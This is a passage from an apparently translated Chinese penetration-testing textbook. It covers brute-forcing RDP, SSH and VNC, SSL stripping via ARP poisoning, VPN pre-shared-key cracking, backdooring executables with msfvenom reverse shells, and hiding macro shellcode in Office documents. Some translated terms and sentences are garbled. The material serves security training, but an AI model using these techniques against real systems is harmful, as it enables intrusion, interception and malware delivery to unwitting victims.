本章介绍了以下几种技术：首先我们关注黑客攻击Web应用时的心态，以及对Web应用进行渗透测试所使用的方法；然后，学习了如何使用客户端代理完成各种攻击，还学习了一系列暴力破解网站的工具，以及如何通过Web应用运行操作系统级命令。最后回顾了一些精选漏洞，并介绍了一种针对Web服务的网络外壳。


第8章　攻击远程访问

“对于攻击者来说，这一切都是为了方便地远程访问所有的事物。”

在第7章中，我们采用了杀链方法攻击基于Web的应用程序。我们对侦察、漏洞扫描和那些针对网址和其他应用程序的特殊利用方法进行了介绍。同时我们也对那些评估Web应用程序所需的独特工具进行了研究，特别是客户端代理和已开发的工具，如网络外壳。

在本章中，我们将关注在互联网上已经广泛传播的，入侵远程访问通信的设备和应用程序。

攻击者可以利用远程访问通信的普遍性实现以下目标：

·利用已有的通信信道，获取对目标系统的直接远程访问。

·截获通信信息。

·拒绝已经通过身份认证的用户获得常规通信，且迫使他们使用容易受到其他攻击的不安全的信道。

截至2016年年初，SSL版本2.0、3.0和TLS vs.被宣布为死亡，尽管互联网上的绝大多数网站仍然使用相同的技术。然而，由于某些浏览器不支持它们，这些脆弱的技术都被搁置了，并且一些产品的设计只是出于安全性的考虑才使用这些协议。这些攻击可能对通信受损害者，以及与受害者的在线通信产生重大影响。

本章将关注属于远程访问通信的侦察和杀链的利用阶段。像战争拨号、语音IP和相关电话问题、专业亭等高度专用的系统以及复杂应用程序等不是本书所介绍的主题。

通过本章，你可以学到如下知识：

·利用操作系统通信协议（RDP和SSH）。

·为安全套接字层版本2和版本3扫描配置Kali。

·安全套接字层的侦察和利用，包括中间人和DoS攻击。

·攻击一个虚拟专用网络。


8.1　利用通信协议漏洞

一些协议可以不受阻碍地传输访问凭证（如Telnet和FTP）。使用一个如Wireshark的包嗅探器，攻击者即可截获并重用该凭证。

然而，大多数远程访问协议，尤其是那些嵌入操作系统的，现在均受访问控制和加密的保护。虽然这在一定程度上增加了安全性，但它们仍然可能受到由于配置错误，或弱加密密钥的使用，所产生的攻击。本章我们将检查可以被用来破解所谓安全通信信道的其他风险。


8.1.1　破解远程桌面协议

远程桌面协议（Remote Desktop Protocol，RDP）是一个微软通信专有协议，它允许客户机与另一台使用图形界面的计算机连接。虽然协议是加密的，但如果攻击者可以猜得用户名和密码，就可以访问该服务器。

应该注意的是，最常见的RDP的入侵是在社会工程学中使用的。远程服务技术员联系用户，并说服用户他们需要远程访问用户的系统，并在系统上解决某些问题。现在，攻击目标的RDP协议的恶意软件也变得越来越普遍了。

从测试者（或攻击者）的角度来看，破解目标RDP服务的第一步是定位该RDP服务器，并确定它所使用的密码所具有的强度特征。这个侦察通常使用nmap等工具进行引导，并被配置成标准的RDP扫描端口，端口号为3389。

现在的nmap工具，包含提供RDP附加详细信息的专用脚本，其中包括加密的配置。如果时间允许，并且隐身行动不是一个重要问题，这些都应该在初始扫描阶段被使用。命令行调用枚举支持加密协议的脚本如下：
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前面命令的执行结果如图8.1所示。
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图8.1　运行nmap查看RDP信息

一些RDP漏洞已经被确定（特别是MS12-020），而这些漏洞可以被精心设计的数据包远程使用。

使用合适的nmap脚本，通过调用如下命令行，可以确定当前版本的RDP是否含有漏洞：
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上述命令的执行结果如图8.2所示。
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图8.2　运行nmap确定RDP是否含有漏洞

一旦使用nmap确定了系统漏洞，就可以被Metasploit框架下的auxiliary/dos/windows/rdp/ms12_020_maxchannelids模块利用，进而导致拒绝服务攻击。

最常见的破解RDP的方法是根据一本最常见的用户名和密码的字典（也可以是根据目标特点，使用工具如CeWL和crunch，构造针对目标的特定字典，暴力破解使用这些字典，比尝试使用通用字典更快、更为隐秘，因为它们产生的网络流量更少）使用暴力攻击。

Kali提供了一些暴力破解工具，包括hydra、medusa、ncrack和patator。通过测试，我们发现，就速度和效率而言，ncrack是最可靠的。

从几个来源列出的常见用户名和密码都是可用的。大多数破解工具，特别是hydra、ncrack和john（John the Ripper），包括在应用程序主目录的列表中。测试人员也可以从网上下载各种类型的列表。从破解的用户账户产生的列表是最有用的，因为它们反映了现实世界使用的身份认证信息。不管你使用什么样的列表，你可能希望通过添加现任和前任员工的名字（用户名），或使用如CeWL的工具创建的单词列表把测试人性化，CeWL可以爬入目标网站并创建固定长度的单词。

ncrack是一种支持FTP、HTTP（S）、POP3、RDP、SMB、SSH、Telnet和VNC协议的高速验证破解工具。它从终端窗口被调用，使用以下命令：
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上述命令的执行结果如图8.3所示。
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图8.3　运行ncrack-vv-U命令

ncrack工具可以在大约1700秒内发现所有用户的访问凭证。然而，所需的时间量将取决于所使用的字典的整体大小，以及在一个成功访问之前必须进行的猜测次数。


8.1.2　破解安全外壳

安全外壳（SSH）协议，是一种用于在服务器和客户机之间的开放网络上，建立加密信道的网络协议。通常，一个公私密钥对允许用户在不需要口令的情况下登录到一个系统。公钥保存在所有需要安全连接的系统上，然而，用户保存私钥。身份认证是基于私钥的；SSH根据相应的公钥验证私钥。在目标系统上，公钥是由远程访问系统所允许的授权密钥来验证的。当公钥密码强度不够，且可以猜到时，这种所谓的安全通信信道将是不安全的。

像RDP一样，SSH的一个弱点是容易受到用户猜测访问凭证的暴力攻击。对于这种特定的情况，我们将使用hydra工具。hydra可能是最古老的暴力工具，且被认为是功能最丰富的工具。它还支持攻击大量的目标协议。

hydra工具可以通过导航——Kali Linux|Password Attacks|Online Attacks来发现，它也可以直接从命令行被调用。hydra有两个版本：命令行版本（hydra）和GUI版本（hydragtk）。对于这个示例，我们从命令行调用hydra，使用以下命令：
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命令的参数描述如下：

·-s指定使用的端口号。尽管当默认端口被使用时，它不需要被输入，但它可用来消除歧义；因为，在这种情况下，它可以加速测试。

·-v和-V选择最大冗长的报告。

·-L选择登录或用户名文件。

·-P选择口令文件。

·-t选择并行任务或连接的数量。数量越大，测试越快。然而，如果数目过高，可能引入错误，而且正确的密码将会丢失。

图8.4展示了最初暴力攻击的详细输出。
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图8.4　运行hydra攻击的详细输出

当使用字典成功登录时，hydra记录端口、协议、主机和登录凭证。然后继续使用字典确定其他可能的账户。在图8.5的最上面一行，hydra已经用登录名root和登录密码hacker！@1正确识别了一个SSH账户；图8.5也显示了其他的尝试，hydra试图确定其他的附加账户。
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图8.5　hydra使用字典攻击

如果你知道密码配置，你也可以让hydra用以下命令在忙碌时自动创建密码列表：
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对前面命令中所使用参数，描述如下：

·-x指导hydra自动创建在暴力攻击中使用的密码。密码将根据-x后的参数创建。

·6：8表明最小密码长度为6个字符，最大密码长度为8个字符。

·aA1将使用字母和数字的组合自动创建密码。它使用所有的小写字母（比如a）、所有大写字母（比如A）和数字0到9（比如1）。

你也可以添加特殊字符生成列表，但是，这时你需要在-x选项附近添加单引号，如下命令所示：
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8.1.3　破解远程访问协议

用于提供远程访问的旁路系统协议应用程序，曾经广受欢迎。虽然它们将被GoToMyPC或LogMeIn等在线服务所取代，但它们仍然相当普遍。这样的程序例子包括pcAnywhere和VNC。应该指出的是，由于系统管理员的合法操作，这些工具实例可能存在于网络上。然而，它们也可能存在于已被入侵的网络，因为攻击者想要一种远程访问网络的工具。

在接下来的例子中，我们将使用Metasploit框架内置的功能破解VNC。

1.使用nmap定位目标远程访问软件。如图8.6所示，VNC通常是在TCP的端口号5900处被发现。
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图8.6　使用nmap定位VNC

2.在终端窗口中使用msfconsole命令激活Metasploit框架。在msf的提示下，通过配置来入侵VNC，如图8.7所示。
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图8.7　使用配置入侵VNC

3.如图8.8所示，启动run命令，并观察成功后的效果。
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图8.8　执行run命令

4.最后，一旦Metasploit通过使用vncviewer登录到VNC客户端，确定了凭证并对其进行了验证。即可在终端窗口命令提示符下输入以下命令：
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这将连接远程主机且提示你输入正确的凭证。当身份验证成功后，将打开一个新的窗口，允许你远程访问目标系统。如图8.9所示，通过发起whoami查询和请求系统的ID或IP地址，确定你已成功登录该目标系统。
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图8.9　成功认证


8.2　攻击安全套接字层

安全套接字层（Secure Sockets Layer，SSL）和它的继承者，安全传输层（Transport Layer Security，TLS）是用于在互联网上提供安全通信的加密协议。这些协议被广泛应用于互联网通信、电子邮件、网页浏览和IP电话等应用的安全程序上。

这些协议在互联网上普遍存在；然而，它们起源于20世纪90年代中期，随着年龄的增长，它们受到的攻击越来越多。SSL2.版本（版本1.0从未公开发布）包含了大量可以利用的缺陷，例如较弱的密钥控制和中间人攻击的弱点。随着新的攻击如BEAST、POODEL、CRIME、Logjam、BREACH的出现，SSL3.0版本最近无疑发现了缺陷。虽然大多数用户已经实现了新版本的TLS，错误配置的系统可能仍然允许使用早期不安全的版本。


8.2.1　SSL协议的弱点和漏洞

SSL和TLS提供的两个主要安全功能是加密与验证登录服务器。后者是使用证书进行。服务器证书应该由信任的第三方发出，以验证公司和服务器是否合法。自签名证书不是由受信任的第三方发布的，而是由使用证书的组织颁发的。

我们在过去十年中注意到的常见的弱点是弱密码加密、浏览器的可用性和兼容性。

SSL 3.0仍被认为比TLS 1.0和TLS 1.2不可取。SSL 3.0一半的成就是在大多数基于MD5和SHA-1的主密钥中实现弱密钥的推导。

在本节中，我们发现了一系列将被攻击者利用的SSL漏洞：

针对SSL和TLS（BEAST）的浏览器利用，攻击者利用了客户端浏览器使用SSL/TLS协议连接服务器时正在建立的密码套件。

1.浏览器识别和通过超文本自适应压缩渗出（BREACH）

该压缩算法允许攻击者操纵HTTP压缩技术使用提取的受保护的数据，如电子邮件ID、会话令牌HTTPS和其他文本字符串。

2.信息压缩率容易泄露信息（CRIME）

攻击者的目标是捕捉在连接时使用的HTTPS协议和快速（SPDY）协议，利用TLS压缩数据与浏览器发送的密文数据比较来确定会话期间，或受害者的加密会话密文的大小，典型的是执行会话重放攻击。

3.在RSA输出键上因子分解攻击（FREAK）

这种攻击是特定条件下进行的：一个服务器，支持RSA密码套件，并且客户必须提供RSA出口套件，或者使用AppleSecureTransport，或者必须有漏洞的OpenSSL，或必须使用安全信道。

4.Heartbleed（心脏流血）

启用SSL/TLS，攻击者在OpenSSL加密库中专门利用此漏洞，访问加密密钥、内存中的用户凭据，诸如信用卡号和其他泄露的内存内容。

5.不安全的TLS协商

这种攻击通常表现为中间人攻击，攻击者与服务器继续协商，而客户端假设连接仍在协商中，等待对方响应。

6.僵局的攻击

通常，攻击者为了降低512位密钥的密码套件，使用DHE_EXPORT密码套件，为了破解密钥，再次执行中间人攻击。如果密钥破解，那么他们就能提取会话信息。

7.传统加密要求的Oracle填充（POODLE）

如果服务器接受SSLv3协议，攻击者可以执行中间人攻击（MITM），拦截加密的连接将密文转换为明文，这里没有消息的完整性。


8.2.2　Testssl的介绍

所有上述漏洞可以利用工具Testssl测试，下载地址为：https://testssl.sh/testssl.sh
 。

Testssl是一个免费的命令行工具，为SSL/TLS服务器实现任何端口的检查：密码套件、协议、最近的加密缺陷。

完成Testssl下载，运行chmod+x testssl.sh命令改变文件许可；启动脚本如图8.10所示。

攻击者运行./testssl.sh<target URI>，利用通配符扫描发现漏洞，这将产生从协议连接到浏览器模拟的所有输出，如图8.11所示。
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图8.10　启动testssl.sh
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图8.11　运行./testssl.sh<tatget URL>产生的输出

如果测试人员要检查任何特定的漏洞，他们可以自定义命令./testssl.sh--heartbleed https://target.com
 。


8.2.3　SSL连接的侦察

评估SSL连通性，尤其是审查下列事项时，杀链的侦察阶段仍然十分重要：

·在建立安全SSL连接时，识别参与者的x.509证书。

·正在使用的加密类型。

·配置信息，例如SSL会话的自动协商是否是允许的。

·SSL证书可以提供用于促进社会工程的信息。

更加频繁的是，一个测试者或攻击者想要确定证书是否有效。无效证书可能源于验证签名时的一个错误，证书链毁坏，在证书中指定的域没有匹配该系统，或者证书已经过期、被撤销，或者是已知的被破解了。

如果一个用户曾接收到无效的证书，他将极有可能接收到新的无效证书，从而使攻击者的工作变得容易很多。

用于保护SSL连接的加密类型特别重要。加密密码分为以下几类：

·空密码（null ciphers）：这些密码用来验证传输的真实性和/或完整性。因为没有应用加密，所以不提供任何安全性。

·弱密码（weak ciphers）：这个术语用来描述所有秘钥长度为128位或少于128位的密码。至于密钥交换协议中使用的Diffie–Hellman算法也可以被认为是弱密码，因为它们不能抵抗中间人攻击。由于碰撞攻击，MD5散列函数的使用也被认为是不安全的。最后，最近针对RC4的攻击也是因为这个问题。

·强密码（strong ciphers）：这些都是密钥超过128位的密码。目前普遍接受的最安全的是256位的AES加密。如果可能的话，AES应该在伽罗瓦/计数器（Galois/Counter）模式中使用，它是一个同时支持认证和加密的现代分组密码。

SSL和TLS依靠密码组件（认证、加密和消息认证码算法的特定组合）为每个连接建立安全设置。这有30多个这样的密码组件，频繁地为每个安全需求选择最好选项的算法是复杂的，这导致用户违约选择不太安全的选项。因此，每个SSL和TLC连接必须被全面测试。

使用nmap或SSL特定应用程序的NSE模块，对SSL连接进行侦察，对nmapNSE模块的描述如表8.1所示。

表8.1　nmap NSE模块的描述
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可以使用以下命令，从命令行调用一个脚本：
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在下面的示例中，ssl-cert脚本是由最大冗长的-vv选项调用的。从这个脚本中得到的数据如图8.12所示。

在侦察期间，测试人员可以选择使用下面的命令，启动所有的SSL特有模块：
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图8.12　调用ssl-cert脚本获得的信息

针对SSL和TLS的Kali侦察和攻击工具，可以从命令行或从菜单Kali Linux|Information Gathering|SSL Analysis引导调用。这些工具的总结如表8.2所示。

表8.2　针对SSL和TLS的Kali侦察和攻击工具介绍表
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最常用的程序是ssl扫描，它查询SSL服务以确定证书的详细信息和其支持的密码，并以文本和XML格式输出。

当使用--no-failed选项测试一个特定的连接时，sslscan只显示其接受的密码组件，如图8.13所示。
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图8.13　调用--no-failed选项，显示密码组件

sslyze python工具分析服务器的SSL配置、验证证书的有效性、测试弱密码组件、确定可以支持更多攻击的配置信息。如图8.14所示，示例输出中已经确认一个证书不匹配一些攻击类型。
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图8.14　扫描结果

另一个SSl侦察工具是tlssled，如图8.15所示。它运行速度快，操作简单，且输出对用户友好。
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图8.15　运行tlssled

不管你用什么方法进行SSL侦察，确保你已通过运行至少两种不同的工具交叉验证了你的结果。此外，所有的SSL配置设备并不是同时在线。因此，在大型网络上，确保你在测试过程中，多次扫描了SSL漏洞。

目前，一个最新发展起来的工具是OWASP的O-Saft（www.owasp.org/index.php/O-Saft
 ），它提供了SSL配置、密码、证书数据的全面概述。


8.2.4　使用sslstrip进行中间人攻击曝光

尽管SSL提供安全保护，但仍有一些针对该协议的有效攻击。在2009年，Moxie Marlinspike演示了sslstrip，一个用于网络上透明地劫持HTTP流量，并且重定向HTTP或HTTPS链接的流量工具。它消除了SSL的保护，并向受害者的浏览器返回安全锁图标，致使流量拦截不容易被侦察到。

简而言之，sslstrip对SSL发起中间人攻击，致使之前的安全数据被截获。

使用sslstrip，首先必须使用以下命令，配置拦截系统为转发模式：
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接下来，设置iptables防火墙，直接使用以下命令重定向sslstrip的HTTP流量：
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在这个例子中，我们设置监听端口号为5353。

配置完成后，使用下面的命令运行sslstrip：
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上述命令的执行结果，如图8.16所示。
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图8.16　运行sslstrip–l 5353

最小化的活动终端窗口正在执行sslstrip，并打开一个新的终端窗口。使用ettercap欺骗ARP，并使用以下命令重定向，从网络或目标系统拦截系统的流量：
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在这里，ettercap–T分支只选择文本界面，-q强制控制台进入静态模式，-m选项可以激活中间人攻击来截获和重定向数据包。arp：remote选项实现ARP中毒攻击，并把攻击者作为有能力查看和修改数据包传输的中间人。remote分支选项询问你是否想通过网关查看远程IP地址和通信。

前面命令的执行结果，如图8.17所示。
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图8.17　运行ettercap–TqM

如果目标系统想要访问SSl安全保护的内容，他们的查询可以直接通过网关到达拦截系统。

从用户的角度来看，他们将直接到网站，并且给出一个安全警告There is a problem with the site’s security certificate（该网站的安全证书有问题），促使他们决定继续访问。如果他们选择Yes，他们将被引导至他们选择的页面。在浏览器右下角的锁图标表明SSL在使用，这也表明他们的通信是安全的。

在后台，sslstrip工具删除了SSL，丢弃可以在ettercap日志中查看的原始内容，如图8.18所示。
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图8.18　运行sslstrip工具

这种攻击是所有相同的第2层网段中唯一有效的攻击。然而，它在有线和无线网络上都是成功的。虽然ARP重定向可以在一个网段中应用，但是这样的攻击会影响网络带宽，并可能被检测到。因此，直接攻击单一设备是最有效的。

禁用PREROUTING规则，用-D取代-A。清除防火墙规则，使用iptables–t nat–F（刷新命令）和iptables–t nat–L（确认表已被清除）。


8.2.5　针对SSL的拒绝服务攻击曝光

当一个SSL连接被建立时，服务器必须完成一系列的密集计算，去发起信号交换并启动加密。这涉及部分客户端的少量计算工作和服务器的大量计算工作。

如果一个客户端发起SSL连接，但拒绝服务器的响应，SSL连接将不会被建立。但是，如果SSL服务器被配置成自动协商连接，计算的工作量将导致拒绝服务攻击。

Kali Linux有几个工具，允许你自己决定是否允许自动重新协商，包括sslyze和tssled。

如果自动重新协商是允许的，那么输入以下命令将允许测试人员对拒绝服务攻击的能力进行评估：
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上述命令的执行结果，如图8.19所示。
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图8.19　运行thc-ssl-dos命令


8.3　攻击IPSec虚拟专用网络

虚拟专用网络（virtual private network，VPN）使用因特网来提供偏远地区，或同一个网络中的不同用户之间的安全（加密）通信。有两种类型的虚拟专用网络：IPSec和SSL。

IPSec是虚拟专用网络中最常见的用于网络和连接的主机之间建立安全连接的协议。

在IPSec中，有以下几个执行特定功能的子协议，主要包括以下内容：

·认证头（Authentication Header，AH）：这对IP数据包提供原始证明，保护它们以抵抗重放攻击。

·封装安全有效载荷（Encapsulation Security Protocol，ESP）：该协议提供了原始传输数据的真实性、完整性和机密性。

·安全关联（Security Association，SA）：这是一套用于加密和认证传输数据的算法。因为SA与一个方向上传输数据相关联，双向通信需要一对安全关联提供安全性。安全关联是使用网络安全协会和密钥管理协议（Internet Security Association and Key Management Protocol，ISAKMP）建立的，它可以通过几种方式来实现。当测试VPN的安全性时，其中一个最脆弱的配置依赖预先共享密钥，即因特网密钥交换（Internet Key Exchange，IKE）。

评估VPN的安全性，测试人员需要遵循这些基本步骤：

1.扫描存在的VPN网关。

2.使用VPN网关的指纹机制来确定供应商和配置细节。

3.根据VPN供应商或相关产品寻找相关漏洞。

4.截获预共享密钥。

5.执行离线PSK攻击。

6.检查用户的默认账户。


8.3.1　扫描VPN网关

扫描VPN网关，可以使用nmap或ike-scan。使用nmap，需要执行如下命令：
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本例中，-sU指示nmap使用UDP数据包扫描可能的目标主机范围（而非TCP），-Pn用于确保nmap不会发送一个ping扫描（它可以警告目标注意本次扫描并且识别测试人员），而-p 500标识了特定的扫描端口。

由于nmap处理IKE数据包的方式，它不一定能找到所有的VPN网关。最有效的工具是发送正确格式的IKE数据包到目标系统，并显示返回的消息内容。

ike-scan是用来定位VPN网关的最好工具（通过导航Kali Linux|Information Gathering|VPN Analysis可以找到）。ike-scan的命令行工具，使用IKE协议来发现和识别私有网络。它还支持IKE积极模式中的预共享密钥。使用如下命令，ike-scan可以定位目标：
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前面命令的执行结果如图8.20所示。

-M交换机返回一行中的每个负载，并简化输出。

ike-scan工具对目标设备进行各种变换的测试。一个变换包含以下属性：加密算法（DES和3DES）、散列算法（MD5和SHA1）、身份验证方法（预共享密钥）、Diffie-Hellman组（选项一是768位，选项二是1024位）和生存期（28800秒）。它将确定哪些变换引发了成功的响应。
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图8.20　运行ike-scan-M命令

在ike-scan完成对每个设备的确定之后，程序将返回以下几个内容之一：

·0returned handshake（返回握手）；0returned notify（返回通知）：这表明目标不是一个IPSec网关。

·0returned handshake；1returned notify：这表明尽管VPN网关是存在的，但所有由ike-scan提供的变换都是不可接受的。

·1returned handshake；0returned notify：正如图8.20所示，这表明目标配置了IPSec，并将对一个或多个提供给它的变换执行IKE协商。


8.3.2　指纹识别VPN网关

如果你能与VPN网关建立握手连接，你可以引导识别的设备产生指纹，返回以下信息：

·供应商和模型

·软件版本

这些信息用于识别供应商特定的攻击，或者用于调整通用的攻击。

如果VPN由一个防火墙控制，那么指纹识别机制也可以识别出该防火墙。

因为IKE并不能保证数据包传输的可靠性，多数VPN网关厂商使用专有协议来处理似乎已经丢失了的流量。ike-scan向VPN网关发送IKE探测包，但ike-scan对它收到的响应信息并不做任何回复。服务器响应数据包丢失，并实施其补偿策略重新发送数据包。通过分析数据包和重新发送数据包的数量之间的时间差异，ike-scan扫描工具可以识别供应商。

如图8.21所示的例子，-M选项单独显示行有效载荷，它使输出更容易阅读。ike-scan扫描工具的-showbackoff选项（如图8.21所示），记录所有发送和接收数据包的响应时间，然后记录显示延迟了60秒的结果。
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图8.21　运行ike-scan-M-showbackoff

ike-scan扫描工具也可以用来确定网关是否支持积极模式，如果支持，它很难和服务器建立握手连接，因为它不会做出响应，直到一个有效的ID作为有效载荷的一部分被提供。


8.3.3　截获预共享密钥

ike-scan工具可以用来推动VPN网关进入积极模式。这点很重要，因为IPSec的积极模式不保护预共享密钥。身份验证凭证作为明文被发送，因此它可以被离线工具截获和破解。

在下面的例子中，使用以下命令发布了一个思科VPN集中器：
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上述命令的执行结果，如图8.22所示。
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图8.22　运行ike-scan--pskcrack

如果你想把结果封装为文本文件，用于附加分析、离线密码破解，可使用以下命令：
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8.3.4　执行离线PSK破解

在使用离线工具破解捕获的预共享密钥的散列值之前，编辑只包含散列值（它应该包含9个冒号隔开的值）的输出文件。psk-crack是最有效的破解密码的工具，它支持字典攻击、蛮力攻击和混合方式的破解。

像所有离线破解练习一样，成就是对工作和努力的测量（时间、计算工作量和投资能源的电力系统）。一个强的预共享密钥，比如在图8.23中所显示的，去破解它将会花费很长时间。
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图8.23　运行psk-crack


8.3.5　确定默认用户账户

像大多数的硬件设备一样，VPN网关通常在安装的时候，包含默认用户账户。这些账户管理员无权更改。使用指纹识别过程中收集的信息，测试人员可以进行网络搜索来确定标准的用户账户。

如果测试人员能够访问用户的计算机，用户名凭据通常以明文形式存储在系统的注册表中。此外，如果一个测试人员能够访问系统的内存，他可以直接从客户端系统的内存转储中获取密码。

Vuln VPN（http://www.rebootuser.com
 ）是一个虚拟的操作系统，并且有漏洞的VPN服务器。它可以让你应用本章中描述的工具，破解应用程序并在不损害系统的前提下获得root访问权限。


8.4　小结

在这一章中，我们调查研究了如何利用常见的远程访问应用程序，包括那些使用密码格外附加安全的应用。我们利用操作系统通信协议（RDP和SSH）及VNC应用程序。同时也学会了如何对安全套接字层连接、虚拟专用网络，以及降低加密有效性的攻击类型进行侦察。

在下一章中，我们将看到针对特定通信信道的联合攻击结果。在检查客户端（漏洞）利用有效性的同时，我们将回顾几种攻击类型，如浏览器开发框架（Browser Exploitation Framework，BeEF）项目。


第9章　客户端攻击技术详解

“客户端漏洞利用能力取决于攻击者的能力。”

对于攻击者或有效的渗透测试者来说，最大的挑战是绕过一个目标的安全控制实现入侵。当目标系统位于网络时，这可能是困难的，因为攻击者通常需要绕过防火墙、代理服务器、入侵检测系统和一个深度防护体系结构的其他元素。

一个成功的解决策略是直接把客户端应用程序作为攻击目标。用户发动与客户端应用程序的交互，允许攻击者利用现有用户和应用程序之间的信任优势。社会工程学方法的使用将提高客户端攻击成功的可能性。

客户端攻击的目标系统通常是缺乏安全控制装置（尤其是防火墙和入侵检测系统）的企业系统。如果这些攻击是成功的，并且建立了持久稳定的通信，那么客户端设备可以发起攻击，一旦其重新连接到该目标网络上。

通过本章学习，你将学到如何攻击客户端应用程序，可使用下面的方法（工具）：

·后门可执行文件

·恶意脚本攻击（VBScript和PowerShell）

·浏览器开发框架（Browser Exploitation Framework）


9.1　留后门的可执行文件

留后门是一种绕过正常的安全验证、维护持续访问该系统的方法。任何网络间谍活动中，最薄弱的环节是人为因素。攻击者通常会利用最近已知或未知的漏洞将它们嵌入到受信任的可执行文件中，并且分发出去。在本节中，我们将深入探讨如何利用msfvenom在任何可执行的文件中植入后门。

msfvenom是使用Metasploit msfpayload和msfencode的独立负载发生器。截至2015年8月6日，msfvenom已经取代了msfpayload。引入该工具是为了使其标准化，并对渗透测试者更有效。它是由Kali Linux默认安装的，当你在终端使用msfvenom-h，则必定会出现以下信息（见图9.1）：
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图9.1　执行msfvenom–hd截图
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使用-p选项允许测试人员选择他们需要的载荷嵌入-k选项。我们将通过创建另一个线程来克隆可执行文件的行为；换句话说，它将克隆程序并插入reverse_tcp负载。x选项复制具有相同特性的可执行模板。

一个例子是，下载任何便携式游戏。在这种情况下，我们将使用putty.exe使得game.exe如图9.2所示。
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图9.2　使用putty.exe

攻击者可以利用编码器使攻击更有效；在这种情况下，我们将使用shikata_ga_nai，如图9.3所示。

一旦可执行文件准备完成，你就可以应用社会工程学技术找到不同的方法交付文件，或者让用户直接从你选择的位置下载。

在一切顺利完成后，攻击者将设置其系统以监听任何连接。在渗透测试期间，可能不需要再写任何关于有效负载、调回IP地址、端口号和回接会话等内容。可以通过如下所示的简单脚本配置。
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图9.3　使用shikata_ga_nai的截图

用以下特定的Metasploit命令创建一个文件；在我们的例子中，称指定文件为Listen：
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创建脚本后，只需在终端中使用以下命令运行脚本文件：
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一旦受害者打开可执行文件，就会在攻击者控制台生成一个反向shell，如图9.4所示。
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图9.4　攻击者控制台反向shell

一旦系统建立了一个成功的Meterpreter会话，攻击者可以通过输入sessions-i 1连接到会话，建立全面的对系统的访问，如图9.5所示。
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图9.5　执行sessions–i 1


注意：
 sessions-i 1这个数字可能根据有多少个目标打开可执行文件，并与攻击者建立反向shell会话而发生变化。


9.2　使用恶意脚本攻击系统曝光

客户端脚本（如JavaScript、VBScript、PowerShell）被开发成移动的应用逻辑程序、并且在从服务器到客户端的计算机上操作。从攻击者或测试者的角度来看，使用这些脚本有以下几个优点：

·它们已经是目标操作环境的一部分；攻击者不需要传输大型编译器，或其他辅助文件（如加密软件）到目标系统。

·脚本语言设计的目的是便于计算机操作，如配置管理和系统管理等。例如，它们可以用来发现和更改系统配置、访问注册表、执行程序、接入网络服务和数据库、并通过HTTP或电子邮件传输二进制文件。这样的标准脚本操作可以很容易地为测试者所使用。

·因为它们原产于该操作系统环境，所以它们通常不会触发防病毒警报。

·它们很容易被使用，因为编写该脚本仅需要一个简单的文本编辑器。使用脚本发起攻击毫无障碍。

从历史上看，JavaScript是用来发动攻击的首选脚本语言，这是因为JavaScript广泛用于大多数目标系统。由于JavaScript攻击的特点已经众所周知，我们将重点关注Kali如何使用最新的脚本语言：VBScript和PowerShell，使攻击变得容易。


9.2.1　使用VBScript进行攻击曝光

VBScript（Visual Basic Scripting Edition，可视化基本编辑脚本）是一个由微软开发的活动脚本语言（Active Scripting language）。它被设计成一个轻量级、可以执行小程序的微软本地语言。自Windows 98以来，VBScript就被默认安装在Microsoft Windows发布的每一个桌面版本中，这使它成为客户端攻击的首选目标。

使用VBScript发起攻击，我们将从命令行中调用Metasploit的msfpayload：
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注意，f指定输出为一个VBS宏脚本。输出将显示为两个特定部分的文本文件，如图9.6所示。

要使用该脚本，打开Microsoft Office文档，并创建一个宏（具体命令将取决于Microsoft Windows使用的版本）。从下面给出的信息框中（见图9.7），复制文本的第一部分（从Sub Auto_Open（）到最后的End Sub）到宏编辑器，并启用宏将其保存。
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图9.6　调用msfpayload
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图9.7　宏代码的信息框

接下来，复制shellcode到实际的文档中。shellcode部分摘录如图9.8所示。
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图9.8　shellcode部分摘录

shellcode被看作一个可用于执行攻击的脚本，所以你可能希望通过最小化字体大小和制作颜色匹配文档的背景等方式，来隐藏、混淆shellcode。

攻击者必须在Metasploit上设置一个监听器。在命令符提示下进入msfconsole后，攻击者通常会输入以下命令并设置主机、端口和有效载荷等选项；此外，攻击者将配置连接自动转移到更稳定的explorer.exe进程。如下命令行所示：
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把上述各行加入到一个文件中，命名为vbexploit.rc，然后运行下面的命令行：

[image: ]


当文件发送到目标，一旦其打开，目标即会弹出安全警告；因此，攻击者将使用社会工程学迫使预定的受害者选择Enable（启用）选项。最常见的方法之一，就是在已配置的Microsoft Word文档或Excel电子表格中嵌入宏用来玩这个游戏。

启动该文件将创建一个相反的TCP命令解释器，并返回给攻击者，允许攻击者用于维持和目标的持久稳定连接，并执行随后的后期利用活动。

为了扩展这种攻击方法，我们可以使用位于/usr/share/metasploit-framework/tools下的exe2vba.rb，将任何可执行文件转换成VBScript。

例如，首先使用Metasploit框架创建一个后门。注意，X表示后门，将作为可执行文件（attack.exe）被创建，如图9.9所示。
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图9.9　使用Metasploit创建后门

接下来，使用以下命令执行exe2.vba，把可执行文件转换成VBScript（确保使用了正确的路径）：
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这允许将可执行文件放置在微软的启用了宏的文件里的，并发送给客户端。VBScript可用于执行反向外壳和更改系统注册表，以确保命令解释器保持持久稳定性。我们发现这种类型的攻击是绕过网络安全控制最有效的方法之一，并可用于维护一个安全的网络连接。

从攻击者的角度来看，使用基于VBScript的利用（这仍然是一个强大的工具）有一些显著的优势。但是，它正在迅速被一个更强大的脚本语言PowerShell所取代。


9.2.2　使用Windows PowerShell攻击系统曝光

Windows PowerShell是一个用于系统管理的命令行外壳解释器及脚本语言。

基于.NET框架，它扩展了VBScript的可用功能。该语言本身很容易扩展，因为它建立在.NET库上，你可以从C#或者VB.NET语言中合并代码。你也可以利用第三方数据库。尽管具有扩展性，但它还是一种简洁的语言。仅用10行PowerShell代码就可完成超过100行的VBScript代码所实现的功能！

也许，PowerShell最大的优点是，在大多数基于Windows的现代操作系统（Windows 7及其更高的版本）上默认使用，且不能被删除。

我们将使用包括Metasploit框架的PowerShell脚本支持攻击阶段的杀链。

为了发起攻击，我们将使用Metasploit框架的PowerShell Payload Web Delivery模块。该模块的目的是为了在目标系统上快速建立会话。该攻击不写入磁盘，因此不可能触发客户端防病毒检测。发起攻击和可用模块的选项如图9.10所示。
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图9.10　Metasploit框架的模块选项

在攻击完成之前，攻击者必须为即将传入的shell脚本准备一个监听器（URIPATH由Metasploit随机生成；确保已为监听器设置了正确的URIPATH）。创建监听器的命令如下所示：

[image: ]


Metasploit框架将生成一个一行的Python脚本，可嵌入文档或者在目标上运行，如图9.11所示。
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图9.11　运行msfconsole

一个成功的攻击将在攻击者的系统上创建一个交互式的外壳脚本。

